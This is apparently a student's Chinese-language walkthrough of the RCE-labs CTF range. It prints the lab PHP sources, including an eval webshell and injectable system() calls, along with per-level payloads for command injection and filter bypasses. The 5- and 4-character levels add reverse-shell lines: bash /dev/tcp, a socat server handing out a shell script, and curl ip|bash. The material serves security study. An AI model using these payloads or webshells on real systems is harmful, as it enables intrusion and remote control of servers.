RCELabs

前言

还是大一学RCE的时候打的一个练习靶场,熟悉一些RCE相关的考点,重新简单整理一下,本来当时打的时候好像在helloctf还是哪个平台有在线的,但是现在好像没有了,这里就贴一下源码吧,想打的可以自己在本地搭建
源码:https://github.com/ProbiusOfficial/RCE-labs

后来又发现其实在NSS平台上可以搜到

RCELABS-0: 代码执行&命令执行

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
This will get the flag by eval PHP code: HelloCTF{Default_Flag}
'This will get the flag by Linux bash command - cat /flag: ';cat /flag <?php
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 代码执行&命令执行 ---

欢迎来到 RCE-labs —— 命令/代码执行靶场的第一个关卡,在开始之前,容我稍微介绍下一些前置知识:

「任意代码执行(Arbitrary Code Execution,ACE)」 是指攻击者在目标计算机或目标进程中运行攻击者选择的任何命令或代码的能力,这是一个广泛的概念,它涵盖了任何类型的代码运行过程,不仅包括系统层面的脚本或程序,也包括应用程序内部的函数或方法调用。

在此基础上我们将通过网络触发任意代码执行的能力通常称为 远程代码执行 「远程代码执行(RCE,Remote Code Execution,RCE)」。

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。

「代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如PHP中的`eval()`函数或Python中的`exec()`函数。

虽然在很多教学场景,命令执行 和 代码执行 经常被用同一个缩写 RCE (Remote Code/Command Execution) 来指代,但显而易见的是,代码执行是更为广泛的概念。

我们将以漏洞点函数为导向,先分别介绍代码执行和命令执行,随后一起介绍CTF或者实战中可能用到的一些trick。


*/

$code = "include('flag.php');echo 'This will get the flag by eval PHP code: '.\$flag;";

$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag";

eval($code);

echo "<br>";

system($bash);

highlight_file(__FILE__);

?>

image-20260926221437932

哈哈直接白给

RCELABS-1:一句话木马和代码执行

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 一句话木马和代码执行 ---

「代码执行(Code Execution)」 在某个语言中,通过一些方式(通常为函数或者方法调用)执行该语言的任意代码的行为,如PHP中的`eval()`函数或Python中的`exec()`函数。

当漏洞入口点可以执行任意代码时,我们称其为代码执行漏洞 —— 这种漏洞包含了通过语言中对接系统命令的函数来执行系统命令的情况,比如 eval("system('cat /etc/passwd')";); 也被归为代码执行漏洞。

我们平时最常见的一句话木马就用的 eval() 函数,如下所示(一般情况下,为了接收更长的Payload,我们一般对可控参数使用POST传参)

try POST:
a=echo "Hello,World!";
*/

eval($_POST['a']);

highlight_file(__FILE__);

?>

很明显的一句话木马,做法有好几种,可以直接传参执行命令,也可以用蚁剑连接

image-20260926222516869

post传参参数名为a,利用hackbar,在post参数中写入php代码

image-20260926222514691

ls查看文件名

image-20260926222511591

查看根目录下的文件,看到flag文件

image-20260926222508970

cat命令读flag文件

payload

1
a=system('cat /flag');

RCELABS-2:PHP代码执行函数

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : PHP代码执行函数 ---

除开在一句话木马中最受欢迎用以直接执行PHP代码的 eval() 函数,PHP还有许多 回调函数 也可以直接或者间接的执行PHP代码。

在该关卡中,你将会从能够执行代码的PHP函数中抽取一个,你需要填充函数的内容来执行某些代码以获取flag(tip:flag存储在 $flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

function get_fun(){

$func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

if (!isset($_SESSION['random_func'])) {
$_SESSION['random_func'] = $func_list[array_rand($func_list)];
}

$random_func = $_SESSION['random_func'];

$url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

return $_SESSION['random_func'];
}

function start($act){

$random_func = get_fun();

if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
session_unset();
session_destroy();
}

if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

payload

1
?action=r

会随机给出一个函数,后面又对应的url可以查看函数的用用法

image-20260926222521274

payload

1
?action=submit

即可获得这个函数,根据源码

1
2
3
4
if ($act == "submit"){
$user_content = $_POST['content'];
hello_ctf($random_func, $user_content);
}

get参数值为submit时即可进行POST传参,这里调用了一个自定义的函数hello_ctf

1
2
3
4
5
6
function hello_ctf($function, $content){
global $flag;
$code = $function . "(" . $content . ");";
echo "Your Code: $code <br>";
eval($code);
}

hello_ctf函数中有两个变量,将flag设置成了全局变量,传入的两个变量会以$code = $function . "(" . $content . ");";的形式拼接,也就是相当于$function作为方法/函数,$content作为参数值整体赋给$code变量,最后由eval执行,所以上面传入的参数一个就随机获得的函数,另一个就是content的参数值,那直接利用print打印出flag

payload

1
2
?action=submit
content=print($flag)

image-20260926223116352

RCELABS-3:命令执行

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

Warning: system(): Cannot execute a blank command in D:\Tools\Web\phpstudy_pro\WWW\RCE-labs-main\Level 3\index.php on line 21
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 ---

「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如Windows中的CMD命令或Linux中的Shell命令,这在语言中可以体现为一些特定的函数或者方法调用,如PHP中的`shell_exec()`函数或Python中的`os.system()`函数。

当漏洞入口点只能执行系统命令时,我们可以称该漏洞为命令执行漏洞,如下面修改过的 "一句话木马":

try POST:
a=cat /etc/passwd;

*/

system($_POST['a']);

highlight_file(__FILE__);


?>

就只有一句源码,这个system函数是执行php代码的函数,传入的值可以直接是命令

image-20260926223400656

image-20260926223357410

image-20260926223354704

payload

1
a=cat /flag

RCELABS-4:命令执行 - SHELL 运算符

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - SHELL 运算符 ---

https://www.runoob.com/linux/linux-shell-basic-operators.html

SHELL 运算符 可以用于控制命令的执行流程,使得你能够根据条件执行不同的命令。

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例: mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例: cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例: sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例: echo "Hello" ; echo "World"


try GET:
?ip=8.8.8.8
flag is /flag
*/

function hello_server($ip){
system("ping -c 1 $ip");
}

isset($_GET['ip']) ? hello_server($_GET['ip']) : null;

highlight_file(__FILE__);


?>

在源码里看到传入的值是ping命令的参数,这里就可以利用管道分隔符进行一个命令执行

管道分隔符的原理就是可以即执行分号前面的语句同时也执行分号后面的语句,常见的管道分隔符有;(用于Linux系统),|(用于Windows系统)

image-20260926223803593

那这里就是get传参ip传了个本地回环地址,用命令分隔符;,这个不管前面是否执行成功,都能执行后面的命令,所以直接在后面输入命令

image-20260926223805816

image-20260926223808529

payload

1
?ip=127.0.0.1;cat /flag

RCELABS-5:空字符忽略和通配符

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特性_空字符忽略和通配符 ---

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");
...


*/

function hello_shell($cmd){
if(preg_match("/flag/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

preg_match()函数过滤掉了flag文件名,若出现会显示waf就是黑名单,其他就是get传参,参数名为cmd,又是system($cmd),直接在参数值中输入命令执行

img

img

img

出现了flag的文件名,显示waf,利用通配符*或者?来绕过

payload

1
?cmd=cat /fl*

image-20260926224030760

RCELABS-6:waf绕过

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 挑战关 ---

刚才,学了什么来着!?

*/

function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

又是preg_match函数,但这次ban掉了几乎所有字母除了a还有很多符号,因此执行命令需要用到绕过文件名和指令,然后我们执行命令肯定还是想执行cat /flag或者他从/flag对吧。在下面我们可以看到”/???”匹配出来有这些然后我们想要“cat”那么cat在哪个目录下呢(bin)然后我们尝试来找这个cat的指令呗,第一行第四个可以看到有cat,所以这题的payload

1
?cmd=/???/?a? /??a?

相当于

1
?cmd=/bin/cat /flag

image-20260926225105388

RCELABS-7:终端特殊字符

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---

在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。


*/

function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

ban掉了空格和flag文件名

image-20260927010608757

用%09或者$IFS空格绕过

image-20260927010602308

payload

1
?cmd=cat$IFS/fl*

RCELABS-8:重定向

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。

如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null

/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1

*/

function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

image-20260927010936364

1
system($cmd.">/dev/null 2>&1");

输入命令后会与”>/dev/null 2>&1”拼接,而该命令会将内容屏蔽掉,就是无回显

image-20260927010954321

输入命令后在结尾用分隔符隔开,;是前后命令均执行,因此可以执行前面输入的命令并查看到内容

image-20260927010956857

image-20260928212956841

或者可以写文件查看,同样用分隔符隔开执行输入命令,利用>将回显结果写到1.txt文件中

image-20260929164131158

payload

1
?cmd=cat /flag >1.txt

image-20260929164134561

直接查看内容写入的文件

RCELABS-9:无字母命令执行_八进制转义

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

image-20261005221017966

无字母需对命令进行转义

bp抓包(直接在网页修改url也可以做)

是先将ls命令进行八进制转义

image-20261005221014512

ls /命令八进制转义,但因为题目中提示,空格需保留,比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分,需写成三部分形式

payload

1
?cmd=$'\154\163'%20$'\57'

image-20261005220814493

这是cat /flag命令

image-20261005220410997

RCELABS-10:无字母命令执行_二进制整数替换

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

image-20261005221149089

这是二进制编码替换,跟上一题有点像,先bp抓包,题目源码里给了一个绕过的在线网站:https://probiusofficial.github.io/bashFuck/

image-20261005221153239

用第二个编码get传参如图1,但是没有反应,好像是因为#,所以对它进行url编码

image-20261005221303509

image-20261005221310952

image-20261005221313522

RCELABS-11:数字1的特殊变量替换

image-20261005225526877

image-20261005225539847

cat /flag命令用第二个转义但需把其中的1全部替换

image-20261005225544415

RCELABS-12:0的特殊替换

image-20261007235744650

image-20261005225702203

需要将0替换

直接将cat /flag转义

image-20261005225704567

将第3个转义符中的开头的$0替换,将0替换

image-20261005225707069

RCELABS-13:取反

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---

题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用

本关卡的考点为 $(()) + 取反 构造任意数字

echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2

*/

function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

image-20261006000042031

cat /flag的编码为

1
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

但需对&&URL编码,因为&&本来是连接用的,所以最终的payload是_

1
?cmd=_=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'

RCELABS-14:长度限制_7字符

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_7字符RCE ---


*/
highlight_file(__FILE__);

if(isset($_GET[1]) && strlen($_GET[1]) < 8){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}




?>

这里很明显限制了参数值的长度,需要小于8

image-20261006000604260

image-20261006000601268

get传参参数名为1,长度需小于8,用通配符*代替flag,或者nl代替cat

image-20261006000558358

RCELABS-15:长度限制_5字符(failed)

这道题蛮难理解的,可以跟着这个wp看:RCE-Labs超详细WP-Level15(5字符限制RCE-文件名拼接反弹Shell命令)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_5字符RCE ---



*/
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

?>

这里限制了字符必须小于等于5,并且用到的执行函数是exec,可以执行命令但是不回显,那一般我们就是两个解决方法,一个是写文件,还有一个就是反弹shell

那在反弹shell之前就需要清晰一些命令,比如

  • >:创建文件,那么>a就是创建了一个名为a的文件
  • ls:查看文件
  • ls -t:根据文件最后的修改时间排序,越晚修改的文件就会排在前面
  • ls -S:按文件大小排序
  • \:可以用于拼接命令

那我们大概就有了一点思路了,先尝试执行命令,再把结果写到新创建的文件中,有点想套娃

为了方便理解可以先在自己的Linux系统终端尝试一下

1
2
3
4
5
6
┌──(kali㉿kali)-[~/Desktop]
└─$ l\
> s\
> \
> -\
> t

image-20261006155835161

可以看到上面的命令就相当于

1
ls -t
  • >>:可以使前面文本追加到后面的文件中,而改为>则是覆盖
1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ echo "test" >> a
┌──(kali㉿kali)-[~/Desktop]
└─$ cat a

image-20261006160449646

先在题目中尝试一下

1
?cmd=ls>1

然后去访问1这个文件夹,就会下载这个1文件,用记事本你打开就可以看到

image-20261006005221614

那现在就可以有一点思路尝试反弹shell了

  • sh a:可以执行命令,用>写入到文件中
  • 命令测结果可以作为>前面的我参数,写入文件中
    • 比如 ip a >a就可以把ip a执行的结果写入到文件a中
  • 同理ls的结果是文件名也可以写入文件,执行后如下,输出的是文件名,要是想让文件名的顺序更可控可以加上一些参数比如-t
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop/test]
└─$ >a

┌──(kali㉿kali)-[~/Desktop/test]
└─$ >b

┌──(kali㉿kali)-[~/Desktop/test]
└─$ >c

┌──(kali㉿kali)-[~/Desktop/test]
└─$ ls>d

┌──(kali㉿kali)-[~/Desktop/test]
└─$ cat d

image-20261006161830742

那大概就清晰了

  • 准备好反弹shell的命令和ls -t >a
  • 拆分反弹shell的命令,设计好顺序利用>一点点写入
  • 然后拆分ls -t>a,但是考虑到这个命令还是长了,如果用上面的方法就套娃了,所以需要另外的方法

对于ls -t>a的处理:

  • 先把 ls -t>a(这里就写入文件a吧) 空格和 > 字符转义一下
1
ls\ -t\>a
  • 给已知的字符排序
1
空格 - t > a l s
  • 命令被分成了两块-t>a和ls,但是顺序还是有点问题,这里就能下能到想到写两遍
1
-t>a ls -t>a ls

这里就可以看到中间有一部分是完整的ls -t>a命令

1
2
3
4
>\ \
>-t\
>\>a (a是结尾, 不需要 `\` 拼接, 拼接反而命令错了)
>ls\

但是这里还是遇到了问题,就是在kali中尝试,但是在写入a文件时命令自动结束了

image-20261006203135769

原文中提醒

  • 如果你试图把上述的代码在本地终端中运行, 你会发现, 当命令最后如果有\, 终端会认为你想在下一行接着输入命令, 但是在PHP中使用函数执行并不会有如此情况
  • 所以当你现在本地尝试时, 末尾的 \ 记得进行转义, 即 \\

找到了解决方法,就是在写如命令之前先创建b文件,将内容写在里面

image-20261006203843402

我们可以看到根据刚才的思路写两遍中间会有一段完整的命令

image-20261006203957415

执行命令

1
sh b

image-20261006204048106

发现确实多了a文件

那接下来就可以继续来解决这道题了,先在自己的服务器上监听一个端口

1
nc -lvp 2333

image-20261006204522363

接下来就是要让靶机执行反弹shell的命令了

1
bash -i >&/dev/tcp/攻击机器IP/与攻击机开启端口相同 0>&1

首先我们就需要拆分这个命令,但是Linux命令中年时不允许有/出现在文件名中的,那就会和路径混乱,那为了解决这个问题我们可以把这个命令改写位脚本文件挂到攻击机上,让靶机通过访问ip下载,这里是根据这个师傅的文章写的,可能还有其他方法

  • 攻击机下载挂载反弹shell脚本
1
socat -v tcp-l:80,reuseaddr,fork exec:'echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\n" bash -i >&/dev/tcp/ip/2333 0>&1'
  • 那靶机只需要执行curl命令即可反弹shell
1
curl ip|bash

那在写入反弹shell命令之前我们应该先按照上文的方法写入ls -t>a

  • 即GET方式给cmd依次传参如下
1
2
3
4
5
6
>\ \ 
>-t\
>\>c
>ls\
ls>d
ls>>d
  • 然后再给cmd依次写入反弹shell命令如下:(这里就是对自己服务器的ip进行一个拆分,总长度小于5就好,这里我自己服务器具体的ip就不展示了
1
2
3
4
5
6
7
8
9
10
>bash
>*\|\
>*.*\
>*.\
>*\
>0.\
>2\
>\ 1\
>url\
>c\

这里传参可以手动传一下,但是更便捷的还是用bp抓包并发

image-20261006211616705

把刚刚分析好的payload放在payload配置中,注意要在最后加上sh b和sh a

image-20261006211707493

但是不知道是什么原因还是没有弹成功(给我做的崩溃了,先跳过吧

RCELABS-16:4字符RCE(failed)

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 长度限制_4字符RCE ---

*/

$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}

highlight_file(__FILE__);

?>

这个和第15关很像

上一题的payload如下,但是有的参数长度明显超过4了,这种就可以通过利用*通配符

  • *可以通过*.txt来匹配当前目录下的所有.txt结尾的文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
>\ \ 
>-t\
>\>c
>ls\
ls>d
ls>>d
>bash
>*\|\
>*.*\
